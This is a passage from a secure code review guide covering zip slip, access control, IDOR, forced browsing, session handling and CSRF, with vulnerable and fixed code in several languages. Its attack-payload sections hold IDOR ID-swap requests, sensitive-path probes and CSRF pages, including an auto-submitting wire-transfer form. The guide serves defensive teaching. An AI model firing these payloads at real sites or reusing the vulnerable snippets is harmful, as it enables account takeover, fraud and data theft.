    r, err := zip.OpenReader(path)
    if err != nil {
        return err
    }
    defer r.Close()
    for _, f := range r.File {
        target := filepath.Join("/var/import", f.Name)
        out, _ := os.Create(target) // zip slip – no containment check
        rc, _ := f.Open()
        io.Copy(out, rc)
    }
    return nil
}
```

Fix: Safer Patterns and Libraries to Use

Python

Use `yaml.safe_load`. Validate archive member paths. Prefer JSON for config interchange.

```

import zipfile
from pathlib import Path

import yaml
from flask import Flask, abort, request

app = Flask(__name__)
IMPORT_ROOT = Path("/var/import").resolve()

def safe_extract(zf: zipfile.ZipFile, dest: Path) -> None:
    dest = dest.resolve()
    for member in zf.infolist():
        target = (dest / member.filename).resolve()
        if not target.is_relative_to(dest):
            raise ValueError("zip slip detected")
        zf.extract(member, dest)

@app.post("/import")
def import_config():
    data = request.files["file"].read()
    config = yaml.safe_load(data)
    if not isinstance(config, dict):
        abort(400)
    return {"keys": list(config.keys())}

```

```

# XML when required – use defusedxml
from defusedxml import ElementTree as ET

tree = ET.fromstring(untrusted_xml_bytes)

```

Important: Never call `pickle.load` on upload bytes. Reject pickle magic regardless of extension.

Java

Validate Zip Slip paths. Disable DTD and external entities in XML parsers.

```

private void safeExtract(ZipInputStream zis, Path destDir) throws IOException {
    Path dest = destDir.toAbsolutePath().normalize();
    ZipEntry entry;
    while ((entry = zis.getNextEntry()) != null) {
        Path target = dest.resolve(entry.getName()).normalize();
        if (!target.startsWith(dest)) {
            throw new IOException("zip slip detected");
        }
        Files.copy(zis, target, StandardCopyOption.REPLACE_EXISTING);
    }
}

```

```
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
```

C

Avoid BinaryFormatter. Use System.Text.Json for known DTOs. Prohibit DTD in XML.

```
public ConfigDto LoadConfig(string json)
{
    return JsonSerializer.Deserialize<ConfigDto>(json)
        ?? throw new JsonException("Invalid config");
}
```

```
var settings = new XmlReaderSettings
{
    DtdProcessing = DtdProcessing.Prohibit,
    XmlResolver = null
};
using var reader = XmlReader.Create(stream, settings);
```

Go

Reject archive entries with .. or absolute paths. Limit upload size before parse.

```

func safeExtract(r io.Reader, dest string) error {
    data, err := io.ReadAll(io.LimitReader(r, 10<<20))
    if err != nil {
        return err
    }
    destAbs, err := filepath.Abs(dest)
    if err != nil {
        return err
    }
    zr, err := zip.NewReader(bytes.NewReader(data), int64(len(data)))
    if err != nil {
        return err
    }
    for _, f := range zr.File {
        target := filepath.Join(destAbs, f.Name)
        clean, err := filepath.Abs(filepath.Clean(target))
        if err != nil {
            return err
        }
        rel, err := filepath.Rel(destAbs, clean)
        if err != nil || strings.HasPrefix(rel, "..") {
            return fmt.Errorf("zip slip detected")
        }
        // extract f to clean with size limits
    }
    return nil
}

```

4.5 Code Reference — Review Authentication, Session, and Access Control

Authentication and authorization {:#authz }

From former 4-18-review-authentication-and-authorization.md. **Guiding chapter section:** [4.5 - Review Authentication, Session, and Access Control § Authentication and authorization](#).

4.18 Code Reference — Review Authentication and Authorization

Abuse Scenarios

Use these patterns in authorized tests and static review. They show missing authorization logic—not crafted injection strings.

Pattern 1: Authenticated but no ownership check (horizontal)

```
GET /api/document/1001 HTTP/1.1
Cookie: session=victim
# Change 1001 → 1002; same 200 OK and other user's data
```

Pattern 2: Admin route with login-only guard (vertical)

```
POST /admin/settings HTTP/1.1
Cookie: session=standard_user
# No role check – config updated
```

Pattern 3: Client-trusted role claim

```
{"userId": 42, "isAdmin": true, "role": "admin"}
```

Server maps permissions from body or unverified JWT claim without server-side role lookup.

Pattern 4: Implicit public or permitAll gap

```
GET /internal/export → 200 without authentication
POST /api/v2/refund → no @PreAuthorize while v1 is protected
```

Pattern 5: Background job inherits no principal

```
Message: {"action":"delete_user","targetUserId":99}
Consumer calls repository.delete(id) with no caller context check
```

Language-Specific Sinks and Dangerous APIs

Every sensitive handler should call an authorization check before loading or mutating data.

Python

```
@app.get("/api/projects/{project_id}")
def get_project(project_id: str):
    return db.query(Project).get(project_id) # no owner filter

if request.json.get("is_billing_admin"):
    grant_billing_admin()
```

Flask/Django: views with auth decorator but no object-level check. DRF: `IsAuthenticated` without `has_object_permission`.

Java

```
@GetMapping("/orders/{id}")
public Order get(@PathVariable Long id) {
    return orderRepo.findById(id).orElseThrow();
}

@PreAuthorize("isAuthenticated()") // not hasRole('ADMIN')
@PostMapping("/admin/config")
```

Spring: missing `@PreAuthorize`, `hasPermission`, or method security on service layer. JAX-RS: `@RolesAllowed` omitted.

C

```
[Authorize]
public IActionResult GetInvoice(int id) =>
    Ok(_db.Invoices.Find(id)); // no policy for owner

[AllowAnonymous]
public IActionResult InternalHealth() => Ok(secrets);
```

ASP.NET: `[Authorize]` without resource-based policy; `[AllowAnonymous]` on sensitive controllers.

JavaScript (Node.js)

```
app.get('/api/users/:id', requireAuth, (req, res) => {
  return User.findById(req.params.id); // no req.user.id === id
});
if (req.body.role === 'admin') await promoteUser(req.body.userId);
```

Express middleware that only checks JWT presence; GraphQL resolvers without field-level authz.

Go

```
func GetOrder(w http.ResponseWriter, r *http.Request) {
  id := mux.Vars(r)["id"]
  order, _ := repo.FindByID(id) // no principal scope
}
```

Chi/gin handlers with authentication middleware but no `authorize(user, resource)` call.

PHP

```
$doc = Document::find($_GET['id']); // logged in, not owner
if ($_POST['admin']) { makeAdmin($_POST['user_id']); }
```

Laravel: auth middleware without `$this->authorize()` or policy on model.

Vulnerable Examples in Other Languages

Java

```
@GetMapping("/reports/{reportId}")
public Report getReport(@PathVariable Long reportId, Principal principal) {
  return reportRepository.findById(reportId).orElseThrow();
}

@PostMapping("/users/{id}/role")
public void setRole(@PathVariable Long id, @RequestParam String role) {
  userRepository.updateRole(id, role);
}
```

C

```
[HttpGet("orders/{orderId}")]
public OrderDto GetOrder(Guid orderId)
{
    return _orders.Get(orderId);
}

[HttpDelete("users/{userId}")]
public IActionResult DeleteUser(Guid userId)
{
    _users.Delete(userId);
    return NoContent();
}
```

Go

```
func updateProfile(w http.ResponseWriter, r *http.Request) {
    userID := r.URL.Query().Get("user_id")
    body, _ := io.ReadAll(r.Body)
    db.Exec("UPDATE users SET profile = ? WHERE id = ?", string(body), userID)
}

func adminDashboard(w http.ResponseWriter, r *http.Request) {
    if r.Header.Get("X-Admin") == "true" {
        renderAdmin(w)
        return
    }
    http.Error(w, "forbidden", 403)
}
```

Fix: Safer Patterns and Libraries to Use

Python

Filter queries by authenticated user. Use dependency injection for scope checks on every route.

```

from flask import Flask, g, abort
from flask_login import login_required, current_user

@app.route("/api/document/<doc_id>")
@login_required
def get_document(doc_id):
    doc = db.documents.find_one({"_id": doc_id, "owner_id": current_user.id})
    if not doc:
        abort(404)
    return jsonify(doc)

@app.route("/admin/settings", methods=["POST"])
@login_required
def save_settings():
    if not current_user.has_role("admin"):
        abort(403)
    config.update(request.get_json())
    return jsonify(ok=True)

```

```

# FastAPI pattern
@app.get("/api/document/{doc_id}")
def get_document(doc_id: str, user=Depends(require_scope("documents:read"))):
    doc = repo.get_for_owner(doc_id, user.id)
    if not doc:
        raise HTTPException(status_code=404)
    return doc

```

Important: Use `user.has_perm` in Django and query filters like `Model.objects.filter(owner=request.user)`.

Java

Apply method security and ownership checks in the service layer.

```

@GetMapping("/reports/{reportId}")
@PreAuthorize("hasAuthority('reports:read')")
public Report getReport(@PathVariable Long reportId, @AuthenticationPrincipal User user) {
    return reportService.getOwnedReport(reportId, user.getId());
}

@PostMapping("/users/{id}/role")
@PreAuthorize("hasRole('ADMIN')")
public void setRole(@PathVariable Long id, @RequestParam String role) {
    userService.setRole(id, role);
}

```

```
public Report getOwnedReport(Long reportId, Long userId) {
    return reportRepository.findByIdAndOwnerId(reportId, userId)
        .orElseThrow(() -> new AccessDeniedException("forbidden"));
}
```

Important: Use OAuth2 resource server scope mapping from validated JWTs. Consider OPA or Casbin for centralized rules.

C

Use policy-based authorization and resource handlers for ownership.

```
[HttpGet("orders/{orderId}")]
[Authorize(Policy = "OrdersRead")]
public async Task<OrderDto> GetOrder(Guid orderId)
{
    var order = await _orders.Get(orderId);
    var auth = await _authorization.AuthorizeAsync(User, order, "OrderOwner");
    if (!auth.Succeeded) throw new UnauthorizedAccessException();
    return order;
}

[HttpDelete("users/{userId}")]
[Authorize(Roles = "Admin")]
public IActionResult DeleteUser(Guid userId)
{
    _users.Delete(userId);
    return NoContent();
}
```

Important: Map identity provider claims to app roles at sign-in. Use EF Core global query filters for multi-tenant row isolation.

Go

Authenticate once in middleware; enforce authorization in handlers and repositories.

```

func getDocument(w http.ResponseWriter, r *http.Request) {
    user := userFromContext(r.Context())
    docID := mux.Vars(r)["id"]
    doc, err := repo.GetDocument(r.Context(), docID, user.ID)
    if err != nil {
        http.Error(w, "not found", http.StatusNotFound)
        return
    }
    json.NewEncoder(w).Encode(doc)
}

func adminSettings(w http.ResponseWriter, r *http.Request) {
    user := userFromContext(r.Context())
    if !user.HasRole("admin") {
        http.Error(w, "forbidden", http.StatusForbidden)
        return
    }
    // update settings
}

```

Important: Use WHERE tenant_id = \$1 AND id = \$2 bound to authenticated tenant. Enforce authz in gRPC unary interceptors uniformly.

IDOR { #idor }

From former 4-21-review-idor.md. **Guiding chapter section:** [4.5 - Review Authentication, Session, and Access Control § IDOR](#).

4.21 Code Reference — Review IDOR

Attack Payloads

Use these in authorized tests when endpoints accept object identifiers. Replace ID with sequential or leaked values.

Pattern 1: Path parameter ID swap

```

GET /api/orders/1001 HTTP/1.1
GET /api/orders/1002 HTTP/1.1
GET /api/users/42/profile HTTP/1.1
GET /api/users/43/profile HTTP/1.1

```

Pattern 2: Query and body object selectors

```
GET /download?fileId=55 HTTP/1.1
POST /api/invoice {"invoiceId": 9001}
PATCH /api/account {"userId": 7, "email": "attacker@evil.example"}
```

Pattern 3: Batch ID arrays

```
{"ids": [1, 2, 3, 4, 5]}
```

Server returns all records without per-id ownership check.

Pattern 4: File and storage keys

```
GET /files?name=report_user42.pdf HTTP/1.1
GET /s3/object?key=tenantA/secret.doc HTTP/1.1
```

Pattern 5: UUID assumption (still needs authz)

```
GET /api/message/a1b2c3d4-e5f6-7890-abcd-ef1234567890 HTTP/1.1
# Valid when UUID leaked via email, log, or shared link
```

Language-Specific Sinks and Dangerous APIs

Object lookups must filter by authenticated principal, tenant, or ACL—not by attacker-supplied ID alone.

Python

```
db.orders.find_one({"_id": order_id})
send_file(os.path.join("/uploads", request.args.get("name")))
User.objects.get(pk=request.json["userId"])
```

Flask/Django ORM: `get(id=...)` without `filter(owner=request.user)`. S3:
`bucket.get_object(Key=user_key)`.

Java

```
return orderRepo.findById(orderId).orElseThrow();
return jdbc.query("SELECT * FROM docs WHERE id = ?", id);
```

JPA `findById`, Spring Data without `@Query` ownership predicate; `Files.readAllBytes(Paths.get(userPath))`.

C

```
return _db.Invoices.Find(invoiceId);  
return File.ReadAllBytes(Path.Combine(uploadDir, fileName));
```

EF Core Find, minimal APIs returning entity by route id without `IAuthorizationService` resource check.

JavaScript (Node.js)

```
const order = await Order.findById(req.params.id);  
const file = path.join(UPLOAD_DIR, req.query.name);  
await db.query('SELECT * FROM messages WHERE id = $1', [req.body.id]);
```

Mongoose/Sequelize `findById` without `where: { userId: req.user.id }`.

Go

```
order, _ := repo.FindByID(r.URL.Query().Get("id"))  
http.ServeFile(w, r, filepath.Join(uploadDir, r.PathValue("name")))
```

sqlx Get with only `WHERE id = ?`; no `AND tenant_id = ?`.

GraphQL

```
query { user(id: 42) { email ssn } }  
mutation { updateOrder(id: 1001, status: "SHIPPED") { ok } }
```

Resolvers must authorize the node, not only require a valid session.

Vulnerable Examples in Other Languages

Java

```
@GetMapping("/user/edit")
public String editUser(@RequestParam Long id, Model model) {
    User user = userRepository.findById(id).orElseThrow();
    model.addAttribute("user", user);
    return "edit-user";
}

@GetMapping("/invoices/{invoiceId}/pdf")
public ResponseEntity<byte[]> downloadPdf(@PathVariable Long invoiceId) {
    byte[] pdf = invoiceService.render(invoiceId);
    return ResponseEntity.ok(pdf);
}
```

C

```
[HttpGet("accounts/{accountId}")]
public AccountDto GetAccount(Guid accountId)
{
    return _repo.GetAccount(accountId);
}

[HttpPut("tickets/{ticketId}")]
public IActionResult UpdateTicket(Guid ticketId, TicketUpdatedDto dto)
{
    _repo.Update(ticketId, dto);
    return NoContent();
}
```

Go

```
func getMessage(w http.ResponseWriter, r *http.Request) {
    id := mux.Vars(r)["id"]
    var body, owner string
    db.QueryRow("SELECT body, owner FROM messages WHERE id = ?", id).Scan(&body, &owner)
    fmt.Fprint(w, body)
}

func updateAddress(w http.ResponseWriter, r *http.Request) {
    userID := r.FormValue("user_id")
    addr := r.FormValue("address")
    db.Exec("UPDATE addresses SET line = ? WHERE user_id = ?", addr, userID)
}
```


Fix: Safer Patterns and Libraries to Use

Python

Filter every lookup by authenticated owner. Map file access through database metadata.

```
@app.route("/api/orders/<order_id>")
@login_required
def get_order(order_id):
    order = db.orders.find_one({
        "_id": order_id,
        "user_id": current_user.id,
    })
    if not order:
        abort(404)
    return jsonify(order)

@app.route("/files/<file_id>")
@login_required
def download(file_id):
    meta = db.files.find_one({"_id": file_id, "owner_id": current_user.id})
    if not meta:
        abort(404)
    return send_file(meta["path"])
```

```
# Django equivalent:
# Order.objects.get(id=order_id, user=request.user)
```

Important: Exclude `owner_id` from client-writable serializer fields. Use `django-guardian` for shared resources with per-row permissions.

Java

Use scoped repository methods and `@PostAuthorize` on service returns.

```
@GetMapping("/invoices/{invoiceId}/pdf")
@PreAuthorize("isAuthenticated()")
public ResponseEntity<byte[]> downloadPdf(@PathVariable Long invoiceId,
                                          @AuthenticationPrincipal User user) {
    Invoice invoice = invoiceRepository.findByIdAndOwnerId(invoiceId, user.getId())
        .orElseThrow(() -> new AccessDeniedException("forbidden"));
    byte[] pdf = invoiceService.render(invoice);
    return ResponseEntity.ok(pdf);
}
```

```
@PostAuthorize("returnObject.ownerId == authentication.principal.id")
public User getUserForEdit(Long id) {
    return userRepository.findById(id).orElseThrow();
}
```

Important: Apply row-level security or tenant filters in every query path. Verify ACL before streaming file bytes from storage.

C

Use resource-based authorization and EF Core global filters for multi-tenant apps.

```
[HttpGet("accounts/{accountId}")]
public async Task<AccountDto> GetAccount(Guid accountId)
{
    var account = await _repo.GetAccount(accountId);
    var auth = await _authorization.AuthorizeAsync(User, account, "AccountOwner");
    if (!auth.Succeeded) throw new UnauthorizedAccessException();
    return account;
}

// DbContext:
modelBuilder.Entity<Account>().HasQueryFilter(a => a.TenantId == _tenantId);
```

Important: Separate read and write DTOs; never bind `userId` from client on create. Integration-test that user A cannot GET user B's resource by ID swap.

Go

Include both object ID and authenticated user ID in every sensitive SQL statement.

```

func getMessage(w http.ResponseWriter, r *http.Request) {
    user := userFromContext(r.Context())
    id := mux.Vars(r)["id"]
    var body string
    err := db.QueryRow(
        "SELECT body FROM messages WHERE id = $1 AND owner = $2",
        id, user.ID,
    ).Scan(&body)
    if err != nil {
        http.Error(w, "not found", http.StatusNotFound)
        return
    }
    fmt.Fprint(w, body)
}

func updateAddress(w http.ResponseWriter, r *http.Request) {
    user := userFromContext(r.Context())
    addr := r.FormValue("address")
    db.Exec("UPDATE addresses SET line = $1 WHERE user_id = $2", addr, user.ID)
}

```

Important: Use S3 presigned URLs scoped to `users/{uid}/` namespaces. Centralize `CanAccess(user, objectType, id)` and call from all handlers.

Forced browsing {:#forced-browsing }

From former 4-20-review-forced-browsing.md. **Guiding chapter section:** [4.5 - Review Authentication, Session, and Access Control § Forced browsing.](#)

4.20 Code Reference — Review Forced Browsing

Attack Payloads

Use these in authorized tests when you are authenticated as a non-admin user. Directly request paths that are omitted from the UI menu.

Pattern 1: Admin console paths

```

GET /admin HTTP/1.1
GET /admin/users HTTP/1.1
GET /administrator/dashboard HTTP/1.1
GET /manage/settings HTTP/1.1

```

Pattern 2: Framework and ops endpoints

```
GET /actuator/env HTTP/1.1
GET /actuator/heapdump HTTP/1.1
GET /swagger-ui.html HTTP/1.1
GET /debug/pprof/ HTTP/1.1
GET /.env HTTP/1.1
```

Pattern 3: Internal and legacy API versions

```
GET /api/internal/export HTTP/1.1
GET /api/v1/admin/reports HTTP/1.1
GET /api/v2/users?all=true HTTP/1.1
GET /legacy/servlet/AdminServlet HTTP/1.1
```

Pattern 4: Alternate HTTP methods on same path

```
GET /admin/delete?id=5 HTTP/1.1
POST /admin/delete HTTP/1.1
# GET blocked by role check; POST unprotected
```

Pattern 5: Static and backup filenames

```
/backup.sql
/config.json
/server-status
/phpinfo.php
```

Language-Specific Sinks and Dangerous APIs

Map route registration and security filters. Login checks alone do not protect admin functionality.

Python

```
@app.route("/admin/users")
def admin_users():
    if "user" in session: # no admin role
        return render_template("admin_users.html", users=db.all_users())
```

Flask blueprints without `@roles_required`. Django: views missing `@user_passes_test` or permission decorator.

Java

```
@GetMapping("/admin/settings")
public String settings() { return "ok"; } // no @PreAuthorize("hasRole('ADMIN')")

http.authorizeHttpRequests(auth -> auth
    .requestMatchers("/public/**").permitAll()
    .anyRequest().authenticated()); // not hasRole
```

Spring Security: `authenticated()` without `hasRole`; `@WebFilter` that only checks `session != null`.

C

```
[Authorize]
public IActionResult AdminUsers() => View(_db.Users.ToList());

app.MapGet("/internal/health/detailed", () => secrets);
```

`[Authorize]` without role policy; minimal APIs mapped without `RequireAuthorization("AdminOnly")`.

JavaScript (Node.js)

```
app.get('/admin', requireLogin, adminPage);
app.use('/api/internal', internalRouter); // auth but no role middleware
```

Express: `isAuthenticated` without `isAdmin`; Next.js API routes without RBAC.

Go

```
mux.Handle("/admin/", authOnly(adminHandler)) // missing role check
http.HandleFunc("/debug/pprof/", pprof.Index)
```

Chi/gin: JWT valid but no `RequireRole("admin")` on sensitive groups.

nginx / reverse proxy (deployment)

```
location /admin { } # no IP allowlist or auth_request in prod
location ~ /\. { } # dotfiles accidentally exposed
```

Vulnerable Examples in Other Languages

Java

```
@WebFilter(urlPatterns = { "/admin/*" })
public class AdminFilter implements Filter {
    public void doFilter(ServletRequest req, ServletResponse res, FilterChain chain)
        throws IOException, ServletException {
        HttpServletRequest request = (HttpServletRequest) req;
        User user = (User) request.getSession().getAttribute("user");
        if (user == null) {
            ((HttpServletResponse) res).sendRedirect("/auth/login");
            return;
        }
        chain.doFilter(req, res);
    }
}
```

C

```
[Authorize]
[HttpGet("/manage/config")]
public IActionResult GetConfig()
{
    return Ok(_config.GetAllSecrets());
}
```

Go

```
func routes(mux *http.ServeMux) {
    mux.HandleFunc("/dashboard", requireLogin(dashboard))
    mux.HandleFunc("/admin/reports", requireLogin(adminReports))
}

func requireLogin(next http.HandlerFunc) http.HandlerFunc {
    return func(w http.ResponseWriter, r *http.Request) {
        if getUser(r) == "" {
            http.Redirect(w, r, "/login", http.StatusFound)
            return
        }
        next(w, r)
    }
}
```

Fix: Safer Patterns and Libraries to Use

Python

Require explicit roles on every admin route. Disable debug paths outside development.

```
from flask_login import login_required, current_user
from functools import wraps

def roles_required(*roles):
    def decorator(f):
        @wraps(f)
        def wrapped(*args, **kwargs):
            if not current_user.is_authenticated or not current_user.has_role(*roles):
                abort(403)
            return f(*args, **kwargs)
        return wrapped
    return decorator

@app.get("/ops/users")
@login_required
@roles_required("ops")
def ops_users():
    return {"users": db.fetch_all_users()}

# FastAPI: mount ops router with dependency
ops_router = APIRouter(prefix="/ops", dependencies=[Depends(require_role("ops"))])
```

Important: Use Django `permission_required("auth.view_user")` on class-based admin views. Gate internal routes with environment settings.

Java

Configure URL patterns with role requirements and method security as defense in depth.

```
@Bean
SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
    http.authorizeHttpRequests(auth -> auth
        .requestMatchers("/admin/**").hasRole("ADMIN")
        .anyRequest().authenticated());
    return http.build();
}

@GetMapping("/admin/users")
@PreAuthorize("hasRole('ADMIN')")
public List<User> listUsers() {
    return userRepository.findAll();
}
```

Important: Disable unused actuator exposure in production profiles. Return 403 instead of redirect that leaks path existence.

C

Use policy-based authorization with admin-only policies on management endpoints.

```
[Authorize(Policy = "AdminOnly")]
[HttpGet("/manage/config")]
public IActionResult GetConfig()
{
    return Ok(_config.GetPublicSummary());
}

// Startup:
services.AddAuthorization(options =>
{
    options.AddPolicy("AdminOnly", policy =>
        policy.RequireRole("Admin"));
    options.FallbackPolicy = new AuthorizationPolicyBuilder()
        .RequireAuthenticatedUser().Build();
});
```

Important: Call `RequireAuthorization()` globally in minimal APIs. Add integration tests that standard users receive 403 on `/manage/*`.

Go

Compose middleware chains with role checks after authentication.

```
func requireRole(role string, next http.HandlerFunc) http.HandlerFunc {
    return func(w http.ResponseWriter, r *http.Request) {
        user := userFromContext(r.Context())
        if user == "" || !userHasRole(user, role) {
            http.Error(w, "forbidden", http.StatusForbidden)
            return
        }
        next(w, r)
    }
}

func routes(mux *http.ServeMux) {
    mux.HandleFunc("/admin/reports",
        requireLogin(requireRole("admin", adminReports)))
}
```

Important: Use casbin or OPA for central role-path policies. Serve admin API on internal port with mTLS when feasible.

Broken session management { : #session }

From former 4-16-review-broken-session-management.md. **Guiding chapter section:** [4.5 - Review Authentication, Session, and Access Control § Broken session management](#).

4.16 Code Reference — Review Broken Session Management

Abuse Scenarios

Use these in authorized tests and code review. They show how weak session APIs let attackers fixate, hijack, or reuse sessions—not injection strings.

Pattern 1: Session fixation (pre-login ID accepted after auth)

1. Attacker obtains SESSIONID=abc123 (unauthenticated).
2. Victim logs in with that cookie; server keeps abc123.
3. Attacker reuses abc123 as the authenticated victim.

Pattern 2: Predictable or short session identifiers

```
SESSIONID=100042
session_id = str(uuid.uuid4())[:8]
```

Pattern 3: Missing cookie security flags

```
Set-Cookie: session=abc123; Path=/
# Missing HttpOnly, Secure, appropriate SameSite
```

Pattern 4: Logout without server invalidation

Client deletes cookie; server session store still maps old ID → user.
Captured ID remains valid until TTL expires.

Pattern 5: Session ID in URL or referrer leak

```
https://app.example/home?sessionid=abc123
Referer: https://app.example/home?sessionid=abc123 → third-party analytics
```

Language-Specific Sinks and Dangerous APIs

Trace session creation, cookie issuance, rotation at login, and invalidation at logout.

Python

```
from starlette.responses import RedirectResponse
from starlette.middleware.sessions import SessionMiddleware

# SessionMiddleware with permissive cookie flags – fixation if ID not rotated at login
session_store["user"] = username # same session key before and after auth
response = RedirectResponse("/home")
response.set_cookie("sid", session_id, httponly=False, secure=False, samesite="none")
```

Django: `login()` without `cycle_key()`; Flask session without `clear/regenerate` on auth success.

Java

```
HttpSession session = request.getSession(true); // before authentication
// login success – same session ID, no session.invalidate() + new session
response.addCookie(new Cookie("JSESSIONID", session.getId()));
```

Servlet: `request.changeSessionId()` not called; Cookie without `HttpOnly/Secure`. Spring Session config.

C

```
HttpContext.Session.SetString("User", name);
Response.Cookies.Append("SessionId", id); // missing HttpOnly, Secure, SameSite
```

ASP.NET Core: `AddSession` without secure cookie options; Identity without sign-in cookie rotation.

JavaScript (Node.js)

```
req.session.userId = id; // express-session, no regenerate on login
res.cookie('connect.sid', sid, { httpOnly: false });
```

`express-session`, `cookie-session`, Passport without `req.session.regenerate()`.

Go

```
session.Values["user"] = username
session.Save(r, w) // same store ID before and after login
http.SetCookie(w, &http.Cookie{Name: "session", Value: token, Secure: false})
```

Gorilla sessions, scs session manager—check `Session.Regenerate` on auth success.

PHP

```
session_start();
$_SESSION['user'] = $user; // session_id() unchanged at login
setcookie(session_name(), session_id(), 0, '/'); // no httponly/secure flags
```

Vulnerable Examples in Other Languages

Java

```
@WebServlet("/sso/callback")
public class SsoCallbackServlet extends HttpServlet {
    protected void doPost(HttpServletRequest req, HttpServletResponse resp)
        throws ServletException, IOException {
        HttpSession session = req.getSession(); // reuses attacker-supplied JSESSIONID
        if (validateSamlResponse(req.getParameter("SAMLResponse"))) {
            session.setAttribute("user", extractNameId(req));
            Cookie c = new Cookie("JSESSIONID", session.getId());
            resp.addCookie(c);
            resp.sendRedirect("/dashboard");
        }
    }
}
```

C

```
[HttpPost("sso/callback")]
public IActionResult SsoCallback(SamlResponseModel model)
{
    if (!_saml.Validate(model.Response))
    {
        HttpContext.Session.SetString("User", model.NameId);
        Response.Cookies.Append("SessionId", HttpContext.Session.Id);
        return RedirectToAction("Index", "Dashboard");
    }
    return Unauthorized();
}
```

Go

```
func ssoCallback(w http.ResponseWriter, r *http.Request) {
    token := r.FormValue("session_token")
    if token == "" {
        token = fmt.Sprintf("%d", time.Now().UnixNano()/1e6)
    }
    if !validateSaml(r.FormValue("SAMLResponse")) {
        http.Error(w, "unauthorized", http.StatusUnauthorized)
        return
    }
    store[token] = extractSubject(r)
    http.SetCookie(w, &http.Cookie{Name: "sso_session", Value: token, Path: "/"})
    http.Redirect(w, r, "/dashboard", http.StatusFound)
}
```

Fix: Safer Patterns and Libraries to Use

Python

Regenerate session after login. Use strong secret keys from the environment and secure cookie flags.

```
from flask import Flask, session, redirect, request, make_response
import secrets

app = Flask(__name__)
app.config["SECRET_KEY"] = os.environ["SECRET_KEY"]
app.config["SESSION_COOKIE_HTTPONLY"] = True
app.config["SESSION_COOKIE_SECURE"] = True
app.config["SESSION_COOKIE_SAMESITE"] = "Lax"
app.config["PERMANENT_SESSION_LIFETIME"] = timedelta(minutes=30)

@app.route("/sso/callback", methods=["POST"])
def sso_callback():
    if not valid_saml_response(request.form):
        return "failed", 401
    session.clear()
    session["user"] = extract_username(request.form)
    session["sid"] = secrets.token_urlsafe(32)
    return redirect("/dashboard")

@app.route("/logout", methods=["POST"])
def logout():
    session.clear()
    return redirect("/login")
```

Important: Django's `login()` rotates the session key automatically. Enable `SESSION_COOKIE_SECURE` and `HTTPONLY` in production settings.

Java

Rotate session ID on successful login. Configure secure cookie tracking.

```
protected void doPost(HttpServletRequest req, HttpServletResponse resp)
    throws ServletException, IOException {
    if (!validateSamlResponse(req.getParameter("SAMLResponse"))) {
        resp.sendError(HttpServletResponse.SC_UNAUTHORIZED);
        return;
    }
    HttpSession old = req.getSession(false);
    if (old != null) {
        old.invalidate();
    }
    HttpSession session = req.getSession(true);
    session.setAttribute("user", extractNameId(req));
    req.changeSessionId(); // Servlet 3.1+
    resp.sendRedirect("/dashboard");
}
```

```
<!-- web.xml -->
<session-config>
    <cookie-config>
        <http-only>true</http-only>
        <secure>true</secure>
    </cookie-config>
    <tracking-mode>COOKIE</tracking-mode>
</session-config>
```

Important: Use Spring Session for centralized store with explicit logout and concurrent session controls.

C

Use cookie authentication that issues a new auth ticket at sign-in.

```
[HttpPost("sso/callback")]
public async Task<IActionResult> SsoCallback(SamlResponseModel model)
{
    if (!_saml.Validate(model.Response))
        return Unauthorized();

    HttpContext.Session.Clear();
    var claims = new[] { new Claim(ClaimTypes.Name, model.NameId) };
    var identity = new ClaimsIdentity(claims, CookieAuthenticationDefaults.AuthenticationScheme);
    await HttpContext.SignInAsync(
        CookieAuthenticationDefaults.AuthenticationScheme,
        new ClaimsPrincipal(identity));

    return RedirectToAction("Index", "Dashboard");
}
```

```
services.AddSession(options =>
{
    options.IdleTimeout = TimeSpan.FromMinutes(20);
    options.Cookie.HttpOnly = true;
    options.Cookie.SecurePolicy = CookieSecurePolicy.Always;
    options.Cookie.SameSite = SameSiteMode.Lax;
});
```

Important: Call `HttpContext.Session.Clear()` before establishing authenticated state to avoid fixation.

Go

Generate cryptographically random session IDs. Never accept client-supplied identifiers.

```

import (
    "crypto/rand"
    "encoding/hex"
    "net/http"
    "time"
)

func newSessionID() (string, error) {
    b := make([]byte, 32)
    if _, err := rand.Read(b); err != nil {
        return "", err
    }
    return hex.EncodeToString(b), nil
}

func ssoCallback(w http.ResponseWriter, r *http.Request) {
    if !validateSaml(r.FormValue("SAMLResponse")) {
        http.Error(w, "unauthorized", http.StatusUnauthorized)
        return
    }
    sid, _ := newSessionID()
    store.Set(sid, extractSubject(r), 30*time.Minute)
    http.SetCookie(w, &http.Cookie{
        Name:     "sso_session",
        Value:     sid,
        Path:     "/",
        HttpOnly: true,
        Secure:    true,
        SameSite: http.SameSiteLaxMode,
        MaxAge:    1800,
    })
    http.Redirect(w, r, "/dashboard", http.StatusFound)
}

func logout(w http.ResponseWriter, r *http.Request) {
    if c, err := r.Cookie("sso_session"); err == nil {
        store.Delete(c.Value)
    }
    http.SetCookie(w, &http.Cookie{Name: "sso_session", MaxAge: -1, Path: "/"})
}

```

Important: Use gorilla/sessions with securecookie for signed cookies. Expire entries in Redis or SQL with idle and absolute deadlines.

CSRF {:#csrf }

From former 4-14-review-csrf.md. **Guiding chapter section:** [4.5 - Review Authentication, Session, and Access Control § CSRF](#).

4.14 Code Reference — Review CSRF

Attack Payloads

Use these in authorized tests when a state-changing endpoint trusts session cookies alone. Host the HTML on a domain the victim visits while logged in.

Pattern 1: Hidden auto-submit form (classic CSRF)

```
<form action="https://bank.example/wire" method="POST" id="csrf">
  <input type="hidden" name="beneficiary" value="attacker-acct">
  <input type="hidden" name="amount" value="25000">
</form>
<script>document.getElementById('csrf').submit();</script>
```

Pattern 2: GET mutation (unsafe side effect)

```

```

Pattern 3: fetch with cookies (cookie-authenticated API)

```
fetch('https://app.example/api/account/mfa/disable', {
  method: 'POST',
  credentials: 'include',
  headers: { 'Content-Type': 'application/json' },
  body: JSON.stringify({ confirm: true })
});
```

Pattern 4: Cross-origin form to JSON endpoint (content-type bypass attempts)

```
<form action="https://app.example/api/billing/plan" method="POST" enctype="text/plain">
  <input name='{ "plan": "enterprise", "x": "" }' value=''>
</form>
```

Pattern 5: Multipart or file upload CSRF

```
<form action="https://app.example/api/documents/upload" method="POST" enctype="multipart/form-data">
  <input type="file" name="file">
</form>
```


Language-Specific Sinks and Dangerous APIs

